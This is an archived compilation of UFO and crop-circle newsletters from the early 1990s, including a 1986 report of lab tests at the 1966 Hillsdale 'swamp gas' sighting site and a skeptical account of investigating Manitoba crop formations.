CIA? M-O-U-S-E ...
Eric Herr in San Diego is compiling a list of physical trace
cases that support his magnetic propulsion system theory.
John Musgrave has moved to BC, and has been somewhat quiet of
late. (How's trix, John?) What can I say about Paul Cuttle, the
intrepid fortean who keeps Canada Post in business? I wish I had
the time to track down all the material you find, Paul!
As an experiment, I have been encouraged to offer the SGJ as
a textfile in the UFO International echo, available on
computer BBs's. If it doesn't work, I would like to thank the
people who post me or netmail me with info. Linda Bird in
Arizona has been very helpful in providing info on UGMs down her
way. And her pix of the "Starthenon" are out of this world!
Dark skies, Linda! Sheldon Wernikoff, a BBS regular, has
thankfully snailmailed me some stuff to save a lot of typing.
His access and interest in circles is a significant contribution
to the field. I must thank Harsha Godaveri who got me onto the
BBs's in the first place, and who uploaded my disks until my
feeble system was up and running. The bad news is, Harsha, I've
contracted three different viruses since being on the BBS's, and
I'm going to give up until it gets a bit safer. I don't want
to lose another hard drive!
Michael Chorost has been keeping me abreast of his detailed
work on circles, including his catalogues of cases and his
articles in various journals. Similarly, another MUFON
contributor, Vince Migliore of California, has sent along his
comments about the circle scene. I have had many letters from
people along the lines of: "please send me everything you have
about crop circles and/or UFOs". Sorry, but I don't send more
than three filing cabinets at a time through the mail.
It is fascinating to receive information from researchers
with differing viewpoints; the "alien technologists", the
"Lear/Cooper" camp, the "nuts-and-bolts" theorists, the "plasma
vortex" theorists, the mystics, the contactees, the debunkers,
etc. It has always been my philosophy and approach to the field
that the only way to get an adequate understanding of the
phenomena is to examine all (both) sides of the arguments, no
matter how esoteric or stoic. A pet peeve of mine is the
preponderance of new "experts" who lack any kind of background in
the genre. Circle researchers who have never studied other
kinds of trace cases are one kind of irritant, as are ufologists
who haven't done their homework and haven't bothered reading
any of the historical literature that would shed light on their
"new" cases. Until Bower and Chorley mentioned the Tully saucer
nests, many cerealogists had never heard of the case. Similarly,
"plasma vortex experts" sometimes scratch their heads when
told of Phil Klass' articles in AW&ST, or of Persinger's TST.
Actually, I think one problem is the overwhelming amount of
information that has been published on the subject during the
last forty or fifty years. Chester Cuthbert, the Canadian expert
on the paranormal, also has one of the largest collections of
science fiction literature. He told me that when he began
collecting SF, it was possible to get everything published during
the course of a year. Then, when SF actually became popular
and it went commercial, he couldn't keep up, so he had to
specialize. One of his "specializations" back then was flying
saucer literature, which sprang out of SF literature. But by the
late 1950's, saucer literature was blossoming and it started to
become difficult to collect even this small field. The situation
has progressed to the point where UFOlit is nearly impossible
to collect in its entirety. A single one of Bob Girard's
catalogs now contains more titles than were ever published a mere
20 years ago! (In the Seventies!) Even with the help of
compilers like George Eberhart, getting a complete overview of
the UFO or circle field is not easy, and it's not getting any
better. Vanity presses continue to churn out accounts of contact
with the space brothers; collecting only Billy Meier material
could send you into the poorhouse in a year!
Miscellanea
A number of interesting books of note have been added to the
UFOROM library, among them: Angels and Aliens by Keith Thompson
(1991); UFOs Over Canada by John Robert Colombo (1991); The
Algonquin Experiments by James Penman Rae (1978); UFO Report 1992
edited by Timothy Good (1991); and Things That Go Bump in the
Night by Emily Peach (1991).
Colombo's latest tome is a collection of anecdotal accounts,
all in the first person, of UFO sightings in Canada over two
centuries. The lack of the investigation reports of the cases
gives it more of a folkloric approach to the subject rather than
an overview such as the earlier UFO Sightings, Landings,
Abductions by Yurko Bondarchuk. Nevertheless, it
provides a refreshing viewpoint of the witnesses' own
interpretations of their experiences, and is a worthwhile read.
On a different topic, it looks like the infamous Carp UFO
crash/retrieval is not quite dead. Len Stringfield included
comments about the matter by Clive Nadin, Christian Page and
myself in his latest Status Report. I continue to get the latest
ravings from its originator(s), including ramblings about Red
China taking over the world and how the Brotherhood will protect
the Holy Grail and save us from the aliens. Theaccompanying
photos are mostly blurry, though one shows a guy in a bad
alien mask. Sad, sad. We have been able to show that the
packages are mailed from Ottawa/Hull, so the suspicion falls on
UFO buffs in that area.
=================================================================
A special note to Canadian readers: it's time once again for
the annual Canadian UFO Survey! Send just your report data to
the address below for inclusion in the yearly case roundup. And
while you're at it, some of you (Americans included here!) have
not provided details of UGMs and crop circles for the annual
NAICCR report. Tsk. They're waiting for you!
Thanks to all who provide data or otherwise contribute to
the information exchange in ufology, cerealogy or forteana. You
are the reason progress continues to be made in these fields!
=================================================================
The SWAMP GAS JOURNAL is an irregular ufozine published by:
Ufology Research of Manitoba
P.O. Box 1918
Winnipeg, Manitoba
Canada R3C 3R2
Copyright 1991 by Chris A. Rutkowski
================================================================

228
textfiles.com/ufo/swampgas.ufo Normal file
View File

@@ -0,0 +1,228 @@
CUFON - UFO Information Service Seattle, Washington 3/20/86
Lab Results Of 1966 `Swampgas Case'.
==============================================================================
This information was obtained by Mr.Dale Goudie, director of Puget Sound
Aerial Phenomena Research and Information director for the UFO Information
Service in Seattle, Washington.
The broad details of this case have long been known. This is the case in
which Dr. J. Allen Hynek, at the time a consultant to the U.S. Air Force,
issued his quickly-condemned opinion that the lights seen could have been
swamp gas.
New additional information about the famed 1966 Swamp Gas case in Michigan
surfaced in 1984 shedding new light on this incident my Dale Goudie.
Goudie States: The material consists of a news release issued at the time by
William E. Van Horn, the Civil Defense Director for Hillsdale County,
Michigan. It contains a hitherto unknown loboratory report covering the
scientific analysis of soil, water and animal life in the area of the reported
landing. for those unfamiliar with the case, here are excepts from a
statement made at the time by Van Horn:
On the evening of March 21,1966 at 10:32 P.M. a call was received from the
New Woman's Dormitory at Hillsdale College by the Office Of Civil
Defense.....from a student reporting that some type of craft had descended
from the Northeast, flashed by their dormitory and disappeared to the South.
At this time the girl described as well as later, the observing of red, green
and white pulsating lights. There were 17 of the college students that made
this ovservation
At approximately 11 PM, a second call was made by the girl to the Civil
Defense Office informing them that the object had reappeared and had settled
close to the ground approximately one half mile from the dormitory. Van Horn
at once called for help from the Police Department and three cars plus himself
were sent in a two mile area from the dormitory to the East. Van Horn checked
the area at the half mile point and after he was unable to locate anything.
he at once returned to the dormitory.
Upon arriving at the dormitory he was escorted to the second floor and taken
to a room facing the East, from where he made the following observation. He
observed that there was an object which was an approximate distance of 1,500
to 1,700 feet away from them...settled into a hollow and was apparently either
near or on the ground. The two lights upon his first observation were what he
would describe as a dim orange on the right and a dirty white on the left.
After observing this for a period of about 10 minutes the lights began to grow
in brilliance, the dim orange became red and true in color and the white
became a true white. As the lights became more brilliant, the object or
vehice began to rise.
It would rise to a height of approximately 100 to 150 feet, stop momentarily
and began to descend. This occurred several times. At one time upon
descending a glow from the side opposite them came from somewhere and he was
able to see a convexed surface.
The vehicle was also observed to move right to left and left to right, and did
so in a very smooth manner. The acsent and descent were at an estimated rate
of 25 to 30 feet per minute. (This was estimated from Van Horns experience as
a commercial pilot.) At no time were any of the witnesses able to detect any
type of sound or noise.
At approximately 4:30 AM, those still observing the scene noticed the lights
disappear and this was the last that was seen of it.
The area that this was observed in was by no means a swamp but rather an area
which is cultivated by Hillsdale College as a park.
Goudie, also states that there will be additional information up coming and
will be released in a short time by the ufo information service in Seattle.
This new information will even bring us closer to the reality of this case and
keep this in mind that this case was investigated very carefully.
==============================================================================
CUFON - UFO Information Service Seattle, Washington 3/20/86
Lab Results Of 1966 Swamp Gas Case
page 2
==============================================================================
1. SOIL TESTS
a. Acid-Base Test b. Solubility Test
Acid content of three, which is very The soil was very soluble in a
heavy, and Base content of seven or water solution.
eight, which is almost neutral.
c. Composition Test d. Radiological Test
There was no change in soil The radiation reading on the soil
composition except for a slight was thirty-one hundredths
additive of Boron. roentgens per hour. (.31 r/hr.)
________________________________________________________________________________
2. PLANT TESTS
( Green and Fungi )
a. Paper Chromatography Test b. Tests for Measuring Life Functions
There were found only green and The plants were found to be
yellow pigments in this test; the healthy.
blue pigment did not show up in
this test, so we presume the blue
pigment was destroyed.
c. Starch Test d. Clorophyll Test
This was found to be normal. This was found to be normal.
e. Radiological Test f. Spectrum Test On Plants Clorophyll
The reading on the plants was The blue pigment was gone; it did
three/hundred fifteen thousandths not show up in this test,presuming
roentgens per hour. (.315 r/hr) again that the blue pigment was
completely destroyed.
________________________________________________________________________________
3. ANIMAL TESTS
a. Blood Hemoglobin Test b. Metabolism Test
Amphibian: The hemoglobin was Amphibian: had slower that
slightly reduced. normal metabolish but nowt
Crustation: The hemoglobin improving.
showed no change from normal. Crustation: Could detect no
metabolic change from normal.
c. Reflex Test d. Radiological Test
Amphibian: was sluggish when Amphibian: Three thousand
first captured but has not seventy five-tenthousandths.
improved. (.3075 r/hr)
Crustation: No change detected. Crustation: Three thousand one
hundred twenty five-ten
thousandths. (.3125 r/hr)
________________________________________________________________________________
4. MINERAL TESTS
a. Acid-Base Test b. Type Of Rock Specimen
All rocks, ingenous, metmorphic 1. Ingenous
and sedimentary were found to be 2. Metamorphic
neutral. 3. Sedimentary
c. Check Of Characteristics d. Radiological Test
All characteristics of the rocks 1. Ingenous ------- .31 r/hr
found to be normal for each type 2. Metamorphic ---- .31 r/hr
of rock. There were no chemical 3. Sedimentary ---- .3125 r/hr
or structural changes.
______________________________________________________________________________
5. WATER TESTS
a. Microscopic Analysis b. Acid-Base Test
All microscopic animals and plants The water was neutral of both acid
dead; cause unknown. and base.
c. Composition Of Materials In The d. Radiological Test
Water
The water had a .315 r/hr reading.
All minerals found in the water
normal with the exception of a
slight trace of Boron.
______________________________________________________________________________
6. ENVIRONMENTAL TESTS
TAKEN 3/23/66
a. Temperature b. Pond Life
1. Water 42 degrees F 1. Crustation:
2. Air 54 degrees F 2. Amphibians: There was an
No unusual heat shown. unusually large number of them.
c. Range and Time of Radiological d. Changes of Visible Appearance
Changes Caused by the U.F.O.
The first meter reading the meter No apparent changes in environment
showed thirty three hundredths were visible.
roentgens (.33 r/hr) and its last
reading 3 hours later showed twenty
seven hundredths roentgens (.27 r/hr).
______________________________________________________________________________
CONCLUSIONS
1. Soil: 2. Plants:
The soil had above normal radiation The plants had above normal
and also had abnormal content of radiation.
Boron.
Blue pigments did not show up
The Boron is alien to this type of in the tests and were presumed
soil. destroyed, but this did not seem
to effect the life junctions of
the plants.
==============================================================================


573
textfiles.com/ufo/swampsi2.txt Normal file
View File

@@ -0,0 +1,573 @@
The SWAMP GAS JOURNAL
*********************
SPECIAL ISSUE #2: "A Looney a Look"
December 1992 ISSN 0707-7106
===============================================================
Following numerous requests for additional information regarding UFOs
and crop circles in North America, I decided to make available the
original manuscript of "A Looney a Look". This article was just
recently published in the INTERNATIONAL UFO REPORTER (CUFOS), Volume
17, Number 5, Sept/Oct. 1992, pp. 9-12. The IUR version is slightly
different from the manuscript, and includes two photogrpahs which are
not reproduced here. Readers are recommended to obtain the published
version from the J. Allen Hynek Center for UFO Studies at: 2457 West
Peterson Avenue, Chicago, Illinois 60659. I think the single issue
cost is $25.00.
The article was written to show a different approach to the crop circle
phenomenon, and the describe what a typical investigation is like.
For further information, contact UFOROM or NAICCR at Box 1918,
Winnipeg, Manitoba, Canada R3C 3R2. The Swamp Gas Journal is copyright
(c) 1992 by Chris A. Rutkowski. UFOROM, NAICCR and the Swamp Gas
Journal do not represent the opinions of the University of Manitoba or
the Royal Astronomical Society of Canada. Address email correspondence
to: rutkows@ccu.umanitoba.ca
=======================================================================
"A Looney a Look"
I had just settled into bed, and was going to forego
watching the late news. I was bone-tired; the kind of tired only
a parent with an eight-month-old baby can appreciate. It was
about 10:30 PM, Sunday, August 16, 1992.
The phone chirped (telephones don't "ring" anymore). It was
Roy Bauer, an associate and good friend who has accompanied me on
many an investigation, and vice-versa. He told me that a teaser
for the news had a story about new crop circles in Manitoba.
Film at eleven.
Several days earlier, he and I had gone with another NAICCR
associate to Friedensruh, Manitoba, where we investigated the
claims of a crop "triangle" in a pasture surrounded by an
electric fence. We had concluded that the UGM there had been
caused by cattle accidentally herded within the fenced area.
Still earlier in the summer, various NAICCR reps had visited
other crop formations closer to Winnipeg, which were heralded by
their discoverers and the media as being communications from the
space aliens. As soon as we had seen them, we knew they were
lodging, a common field effect created by a combination of wind,
rain, and weak plant stems.
But the story on the news that night spoke of actual
formations: circles with arrows and rings. Now these were more
unusual, and sounded more like their better-known British
cousins.
NAICCR (North American Institute for Crop Circle Research)
was formed as a sister group of UFOROM (Ufology Research of
Manitoba) in 1990, in response to requests from British
cerealogists wanting information about crop circles in North
America. We had realized that, although there were a number of
people in North America who were independently investigating crop
circles, there was no comprehensive gathering of data underway.
Furthermore, like most UFO or Fortean groups, UFOROM members had
been studying crop circles for decades, long before they were
popularized in Britain. Ted Phillips' catalogue of physical
traces listed many such swirled circles, along with other traces,
going back before the turn of the century. These UGMs (unusual
ground markings) had been cropping up (pardon the pun) from time
to time in North America, sometimes with an associated UFO
sighting.
So, NAICCR began investigating Canadian crop circles and
soliciting information on American cases from other investigators
and groups. (The phrase "pulling teeth" comes to mind.) With
the co-operation of several researchers, NAICCR has published
reports and an annual review of North American UGMs, a feat still
lacking on the British scene. (Sure, they publish lots of pretty
pictures, but what about the data?)
But I digress ...
After Roy called me, I turned on the TV and flipped channels
until I found a provincial newscast. Sure enough, there was a
short blurb about crop circles near a town named Strathclair. I
thought hard about where that was in relation to Winnipeg. I had
a funny feeling I was going to be driving a long, long way.
There was little more that could be done that night, so I
jotted down a few notes, and turned in. Again.
The next morning, I drove to work early, fearing that a
barrage of phone messages from the media would await me. On the
way in, I heard a brief clip of a radio interview with a woman
who had observed a UFO at the circle sites. This was a rarity in
cerealogy, and was a supporting datum for the ETH with regards to
crop circle creation. Colin Andrews would be pleased, I mused.
There were surprisingly few media calls at work, and I dealt
with them quickly. Curiously, the local TV networks were not
really interested in the new cases. I had hoped to get their
help in obtaining aerial videos of the formations, as NAICCR
hardly has enough money for gas, let alone airplane rental. But
it turned out the media were gun-shy; they had been "burned" by
their coverage of the previous non-events, and were not going to
do anything further on the story. This was okay, since it would
mean we could carry out an investigation without the cameras
following us around, as in other years.
I phoned the editor of the Strathclair area newspaper, Greg
Nesbitt, and got more details about the cases. There were said
to be seven separate sites, plus a handful of UFO sightings.
Since they had been found, at least two or three hundred people
had visited the formations. Well, so much for finding any useful
clues. But, because of the unique shapes involved, we still felt
it was worth a look. I told Greg that a NAICCR team would be out
the next day.
On Tuesday morning at around 8:00 AM, Roy Bauer, Guy
Westcott and I left Winnipeg for Strathclair. The town is about
275 kilometres northwest of Winnipeg, and it took us exactly four
hours to reach the area. We had been told that one of the sites
was clearly visible from the highway, but we didn't notice it on
our way in. We arrived in the town of Shoal Lake, where we were
to meet Greg, at around noon.
Greg was going to be our guide, but we had an hour to kill
before he was ready to lead us out. So, being hard-working
investigators, we went to the local bar. During lunch, we made
casual inquiries about the crop circles. Everyone had at least
heard of them, and some people admitted visiting the sites. We
went over to the RCMP office and inquired if they had received
any official reports. The commanding officer barely contained
his amusement with the situation. He joked that he had the
aliens in a jail cell. He did admit, though, that they had
received some calls about some bright lights that weekend.
We met Greg around 1:00 PM in his print shop cum newspaper
office. He grabbed a tape recorder and we headed for our
vehicles. This was big news. Not only had the aliens landed,
but investigators had come all the way from the "big city" to see
them.
Greg led us back down the highway to a patch of field
halfway between Shoal Lake and Strathclair, just outside a hamlet
named Ipswich. (It was interesting how the first crop formation
in the area was at a site named for a British city.) We had
missed it because from the road, the site looked just like a
patch of lodging. We had seen many such patches on the drive
out, and in fact had stopped to examine one closely.
But this wasn't lodging. Once we were led in on the well-
trodden path, the shape of the formation became quite clear.
Slightly elliptical, the site had diameter axes of 26 and 24.5
feet. On a northeasterly heading of 65 degrees, an arrow
protruded away from the crop circle, giving the effect of the
symbol for Mars, or "male". The wheat was about four feet tall
outside the formation, and was neatly bent and swirled
counterclockwise inside the circle. The wheat was bent away from
the circle inside the arrow, and toward its end points. The
width of the arrow corridor was about 28 inches. While we
measured, took samples and photos, two truckloads of visitors
arrived. They tramped through the neatly-woven grain, and added
to the disturbed state of the site.
The site was only 40 feet away from the nearest access road,
and about 100 feet from the highway. It had been found on
Saturday, August 16, 1992, by the owner of the land, and reported
to the media the following day. By that time, word had spread
anyway. Once the circle news had got out, a woman reported that
she had seen a UFO over the field on Friday evening. She had
been driving from Shoal Lake to Ipswich, and had been passing the
field when she observed a dark object with two "headlights" and a
flashing "taillight". The UFO moved slowly over the field at an
estimated height of a telephone pole, and about 250 feet away
from the witness. After a minute or so, it moved out of sight
behind some trees. Two other people driving along the highway
also glimpsed the object before it disappeared.
After we had finished our work at the Ipswich site, Greg led
us to the next site, nearer Strathclair. This formation was
visible from the highway, situated on a slight hill so that it
was visible to eastbound travellers. It, too, was a Mars symbol.
This time, the main circle was perfectly circular, about 24 feet
in diameter. The arrow was thicker than the one at Ipswich, and
pointed on a bearing of 120 degrees, away from the highway.
Guy, Roy and I began musing about how one would go about
making such a formation. Greg made a comment about how skeptical
we seemed to be. After all, wasn't it obvious that only aliens
could have made the formation? He related how one of the first
people on the scene had found a "dinosaur footprint" at the point
of the arrow, and how it had been suggested that the arrow could
have been made by a ramp extended from the landed, circular UFO.
Of course, the numerous visitors to the site had eradicated any
sign of the print.
I thought about the arguments which were raging on the other
side of the Atlantic, one of which was about whether or not it
was possible to hoax a crop formation. On impulse, I sat down
abruptly in the field. I was completely out of view of my
colleagues, a few feet away. "Let's try making a circle," I
offered. Greg was doubtful. No human could make such a
formation, surely. (I told him not to call me ...)
I looked at the wheat closely. It was planted in neat rows
about four inches apart. I got up and walked about thirty feet
away from the site, carefully stepping between two rows. I
looked back. There was no sign of my entry. I began walking in
what I thought was a circle, met my own path and began spiralling
inward. Roy joined me, and we performed a triticale pas de deux,
trampling the wheat in a circle twenty feet in diameter. In five
minutes, we had made a fair copy of the "real" circle. Stems
stuck up here and there where we had missed them, and we did some
touch-ups. I was surprised to find that our effort was almost
exactly circular.
Greg and Guy compared our handiwork with the "real" site,
and declared it a reasonable facsimile. ("Maybe someone could
have made it," Greg mumbled.) I bent down to look at the newly-
trampled wheat, and was greatly surprised. One of the points of
contention in debates over "real" and hoaxed British circles is
that wheat stems in "real" circles are bent, not broken. When
one crushes wheat underfoot while walking in a field, it is
assumed that the wheat stems would show numerous kinks and
breakage. Virtually none of the wheat in our new crop circle was
broken. Somehow, the stems were neatly bent over in a
counterclockwise direction, swirled into the center, and showing
no evidence of having been trodden upon.
I never intended to show that hoaxers had made the formation
this way. Indeed, I would expect that there would have been some
basic tools used instead of one's own feet. But this formation
had been made a few days after a full Moon, and the wheat was
tall enough to afford cover if a car had chanced to pass on the
highway ...
There were still a few other questions about the formation,
though; the hoax theory wasn't completely fleshed-out enough to
my satisfaction. What was the motive? How was it done, really?
Why would anyone bother? And what about the UFO sightings?
We headed for the other sites. They were all approximately
three miles south of the main highway, along a farming road. Two
were directly across a road from one another. As we drove up, we
saw that some boys were standing in front of a formation,
wielding a hand-painted sign. As we walked over, it became
readable: "A LOONIE A LOOK". ("Loonie" is a Canadian slang term
for a dollar coin, because of the image of a swimming loon on one
side.)
The boys turned out to be a gold mine of information.
Contrary to what we had been told earlier, this particular
formation (another arrowed circle) had appeared over a week
before. The one across the road had appeared first, a week
before that. After the second had been found, the boys had
thought to make a ringlike path around the whole formation, so
that visitors could examine the site without disturbing it.
Unfortunately, their idea didn't work, and what's more, the ring
had been assumed to be part of the original formation.
The arrow from this circle pointed on a bearing of 260
degrees. When we later plotted all the formations on a map, we
were disappointed to discover that the directions indicated by
the arrows didn't converge. Furthermore, none of the arrows
pointed toward a significant local feature such as a native
midden, burial mound, mountain, or new age mystic site. (Now, if
I was going to make such an elaborate hoax ... )
The fifth site was clearly lodging. However, because it was
only a mile from the two nearest formations, many people had
visited it. While there, more visitors came by, and we asked
them about other sites. We were given directions to other fields
where formations were said to have been found, but we were unable
to verify any others.
On the drive back to Winnipeg, we stopped in at a TV station
in Brandon. The news director told us of another circle site in
the area. As it was already late, we decided to ask another
NAICCR rep, Jeff Harland, to investigate. He lives in Brandon,
and had investigated some UGMs in the area a few years ago. We
dropped by his house (by some remarkable timing) exactly at
dinnertime, and found ourselves graciously invited for supper.
During the meal, we compared notes and swapped ideas about the
crop circle scene. We drew up some maps of the formations, and
talked for hours about our findings.
We learned that a TV special on British crop circles had
been aired on the Friday night that the Ipswich circle was
probably made. It could be that someone got the idea to hoax a
circle from that show, but then, two circles were found before
the show was aired. Other than that program, there had been very
little media attention given to crop circles. There was no
national or international coverage of the North American circles
during the summer, and the media were staying away from the
British formations in droves.
We had taken both VHF and AM/FM radios into the formations.
No interference was heard. A compass was not deflected by any
magnetic anomaly. A tape recorder worked fine, and there were no
beepings or strange signals left on the tape. Animals were not
wary to enter the sites, and there was no lack of insects at the
sites. None of us felt any "bad vibes", unlike some circle
investigators at other formations. All of these effects were
checked because some cerealogists are insistent that anomalous
phenomena plague such sites. Apart from the fact they were
there, there was nothing particularly unusual about the sites.
("Another mysterious crop circle. Yawn.")
The wheat samples we collected will be sent to various
researchers for testing. Now that cerealogists have finally
conceded that spagyrical analysis (the "tests" which showed a
change in the "crystalline structure" of the plant cells) is
spurious and unscientific, and the supposed radionuclides found
in crop circles have been shown to be glitches in the data, the
only remaining anomalous effects associated with crop circles are
the growth studies done by Dr. Levengood at the Pinelandia
Biophysical Labs. He claims that wheat from crop circles will
grow more readily than control samples. This is easy enough to
check, since we now have more seed samples. Of course, these
will be double-blind tests.
Since our expedition to the Strathclair formations, we have
kept abreast of the British scene, and read with interest the
reports of investigations by the Project Argus group. North
America has only had one complex crop circle formation, and it
was distinctly different from the British experience. My biggest
concern with the British circle scene was the overabundance of
formations in southern England compared with the rest of the
world. Why does Britain have so many crop circles, and why do
they look as they do?
From my correspondence with other researchers, between 50
and 75 percent of all British formations are suspected to be
hoaxes. I would suggest that the actual fraction is much
higher - probably around 90 percent. Either way, there is no
question that the British data is badly contaminated. What is
needed is a comprehensive list of the British sites with
indications of which ones are likely or proven hoaxes. It seems
that people are delving into mystical philosophy and Gaiean
premonitions without first sorting out the "good" data from the
"bad" data, whatever the two sets may be. (Paul Fuller, editor
of The Crop Watcher, a British circlezine, has just reported that
many "expert" cerealogists have grudgingly begun considering the
fact that most, if not all, crop circle formations are likely
hoaxes.)
So far in 1992, less than two dozen North American crop
circle (rather, UGM) sites have been investigated. Despite low
media coverage and a number of hoaxers' admissions, about two
hundred sites have been found in Britain this year. What gives?
The infamous circle hoaxers Doug and Dave probably made less than
ten formations, despite their earlier claims which were accepted
wholeheartedly by the general public. Two NAICCR investigators
caught a hoaxer here in Manitoba. Big deal. We know that crop
circles can be hoaxed, and that cerealogy "experts" cannot tell a
"real" circle from a hoaxed one. Why haven't the circles gone
away? And a better question: why is there still so much
interest in these peculiar UGMs?
Cerealogy has attracted at least as many loonies as ufology,
unfortunately. We seem to be looking at another sociological
phenomenon, perhaps a reaction to our confused technological age.
I'm not particularly convinced that crop circles are alien
hieroglyphics, plasma vortex traces or patches left by mating
hedgehogs. Actually, I'm more fascinated by those who think that
there is enough evidence to adhere to a certain theory.
So with that, at least until I get my next phone call, I
will lay back and reflect on all this circular reasoning. Pun
intended. (Again.)
A Looney a Look, Part 2
Where, exactly, is cerealogy heading? Well, according to Paul
Fuller, editor of the CROP WATCHER, a British circlezine, cerealogy
could be in for some real trouble. In a recent issue of CW, he had
this to say:
"Even the paranormally-inclined cerealogists have admitted that 1992
produced fakes galore, with few prepared to stick their necks out and
claim that a single (NB!) British circle qualified as 'genuine'. In
some ways, this restrained response could be construed as an
over-reaction to last summer's hoax revelations, but in reality the
awful truth has dawned on cerealogists everywhere - that most modern
crop circles really are man-made hoaxes and that if there ever was a
'genuine' phenomenon in the first place it has now been utterly swamped
by a smokescreen of wishful thinking and media-inspired mythology. Sad
words indeed but a fact which most researchers now seem to be accepting
with some reluctance."
Later on, Paul notes that "leading cerealogists accept that they have
lost the crop circle battle and that it is time to flee the sinking
ship." A number of cerealogists are said to be emigrating to the USA!
As for the remaining "meteorologically-caused" circles, Terence Meaden,
that theory's main proponent has now stated that: "Anything other than
a simple circle is definitely a hoax", and he has now restricted the
number of 'genuine circles' to "fewer than a dozen a year". Paul
further notes: "It remains to be seen whether Meaden's meteorological
theory can survive such trauma."
Later in the issue, there appears a map of England, showing the
locations of "Known Crop Circle (Groups of) Hoaxes". Paul noted
that "there are so many known hoaxers that we couldn't
squeeze them all in!" Good old Doug and Dave, who got all the
publicity, are on there wih their small number of formations.
In North America, we know that Rob Day made a few hoaxed circles in
Alberta, a farmhand was caught by my colleagues and I in Manitoba, and
at least one set of hoaxers admitted to some circles in the American
midwest.
But what about all the physical evidence for crop circles? As noted
earlier, the radionuclide issue is very nearly dead. When I had first
been told of the unusual readings inside crop circles, I was very
surprised. Crop circle "experts" were convinced that their readings
were correct, and that there was something abnormal about the creation
mechanism for crop formations that resulted in bizarre nuclear
reactions. Yttrium? Protactinium? Tellurium? As soon as I saw the
list of the elements, I knew the cerealogists were off on a wrong
track. In order to create such elements, the proposed mechanism (a
neutron beam) would have had to make other elements as well. But these
weren't detected. Therefore, I knew the findings were probably
spurious. There had rarely been any detectable radiation associated
with circular, swirled impressions previous to the cerealogy furore, so
it was odd that these new versions of UGMs were suddenly littered with
unstable elements. For those researchers insistent that crop circles
were something other than the traces catalogued by Ted Phillips, the
radionuclide discoveries were proof that the crop circles were
abnormal, and a new phenomena altogether. For those who considered the
British crop circles as only a new twist on an old phenomenon, the
radionuclides were only red herrings.
What about the unusual characteristics of the circles? Things like
the woven nature of the wheat and the claims that the stalks were
"bent", not "broken"? The fact that "expert" cerealogists were fooled
on more than one occasion suggests that these characteristics are not
as cut-and-dry as one would like. And, as Paul Fuller points out, the
1992 formations are very suspect, and no one is willing to declare them
authentic. As my experiment at the Strathclair site indicates, wheat
stalks can be bent by manual or mechanical means in ways that would not
leave breakage. To complicate matters, the quality of the wheat will
affect this characteristic. The diameter of the stalk, the moisture
content, the weather, the soil nutrients and a host of other factors
will all affect the bending/breakage.
One oft-repeated mystery is the abnormal "crystalline structure" of
wheat stalk sections, as discovered by a British laboratory.
Micrographic photos of these sections were reproduced in a number of
cerealogy books and zines as proof of a mysterious force at work in the
circles. But as soon as the photos were published, some researchers
became suspicious. What, exactly, was the procedure which generated
the crystalline analyses? What devices were used? It was reported in
some circlezines that questions about the analyses were rebuffed by the
reporters of the information. It was only through continued requests
that it became known that the procedure was actually "spagyrical
analysis", a techniques developed by an alchemist hundreds of years ago
and without much scientific credibility. Colin Andrews, in an
interview published in the summer of 1992, conceded that the analyses
were not acceptable as scientific methodology, and that the results
were suspect.
Finally, the remaining physical evidence: the appearance and
abnormal growth of wheat seeds taken from within crop circles.
Reported originally by Michael Chorost, the seed tests were performed
by Dr. Levengood at Pinelandia Laboratories in the USA. Seed samples
were obtained from circle sites in Canada, the USA and England.
Microscopic examination showed that the outer seed shells were
irregular in shape, with many "pits". When grown in a laboratory, the
seeds from inside crop circles grew better than control samples. It
was therefore concluded that some force probably caused an alteration
in the genetic structure of the wheat.
It will be interesting to see if this claim stands the test of time.
Samples from Canadian crop circle sites are being prepared for sending
to Dr. Levengood and other researchers in a double blind test of this
theory. One would wonder if the samples from last year were from sites
which were actually hoaxed. Because of the difficulty in establishing
the "genuineness" of a site, it would be very odd to have all the
previously-tested samples produce consistently positive results.
Another claim that is often hawked is the similarity between crop
circle formations and ancient hieroglyphics. Some cerealogists have
"translated" crop formations and discovered a warning from space
beings, communications from Sumerian priests and "diatonic ratios".
The most scientific of these interpretations was published in Science
News, written by a noted archaeologist. He made the observation that
whatever was creating the crop formations in England had a knowledge of
geometrical theorems. Four theorems were "proven" through the
appearance of some sites, while a fifth theorem was postulated. It was
argued that random hoaxers could not possess such abilities.
If most crop formations are hoaxes, then ANY discussion about
"translating" the formations' text is pointless. Aside from a few
definite arabic lettering examples at sites (and one "reply" to the
aliens/Sumerians), reading obscure alphabets into crop formations has
led only to confusion over whether the circle creators were Hebrew,
Sumerian, Egyptian or alien. Of course, if the circle creators knew
enough about terrestrial alphabets to begin with, one would think that
a better medium could have been selected. And, since the
identification of circle formations with old alphabets involve some
liberal artistic licence, advanced circle creators might make their
attempts at communication more precise and open to less interpretation.
All this is hair-splitting compared to the real problem of why crop
circles seem to be most prevalent in southern England. Some records
(such as they are) suggest over two thousand circles have been
discovered during the late 80's and early 90's. Yet, the numbers or
complexity of the formations are not evident in other areas of the
world. A puzzling aspect of the UFO phenomenon is its presence
around the globe, with cases in Asia as well as America. Indeed,
simple crop circle UGMs have been found in virtually all corners of the
globe. But complex crop formations are really only in England. Why?
Is this an indication of a profound, new kind of physical phenomenon,
as some cerealogists propound?
Probably not. As the ratio of suspected crop circle hoaxes to
"real" circles climbs higher with each new evaluation, it is my guess
that the British crop circle wave will boil down to a flap of standard
flattened grass/wheat UGMs, to a level comparable with worldwide
activity. There MAY BE a new phenomenon at work in southern England,
but the data so far presented does not bear this out. A recent
excellent analyses of British data (finally available) published in the
Crop Watcher went to great length to attempt to support the Meaden
vortex hypothesis. It was shown that there was a predominance of sites
in geographical positions favourable to wind-realted effects, as per
the theory. But data was supplied by Meaden, and there was no mention
of a filtering for hoaxes. This would be of particular importance
since Meaden has now reduced the number of "real" sites under
consideration, according to Paul Fuller.
The bad news is that there is NO definitive evidence that suggests
there is a "real" crop circle phenomenon at work in Britain. Physical
evidence is debatable, "expert" opinions are questionable, and proposed
theories are not supported by known physical mechanisms. But WHO,
then, is responsible?
Certainly not Doug and Dave, for one thing. An army of
technically-skilled hoaxers? Hard to imagine? During the crop circle
peak, estimates of a dozen new formations per day were considered
accurate, if not conservative. One thing generally forgotten is that
most crop circle sites were only singles or doubles. Such UGMs are
painfully easy to hoax. Why weren't they seen? How did they do it at
night? Hard to say.
The good news is that labelling crop formations as "hoaxes" does not
eliminate or solve the problem. How WERE some of the sites made in
darkness and in fields supposedly under surveillance? Furthermore,
there is a possibility that the vortex theory CAN account for some
simple formations. Which ones?
As for the possibility that aliens were responsible, that remains
intact - as a possibility. The ETH is almost always invoked when a UGM
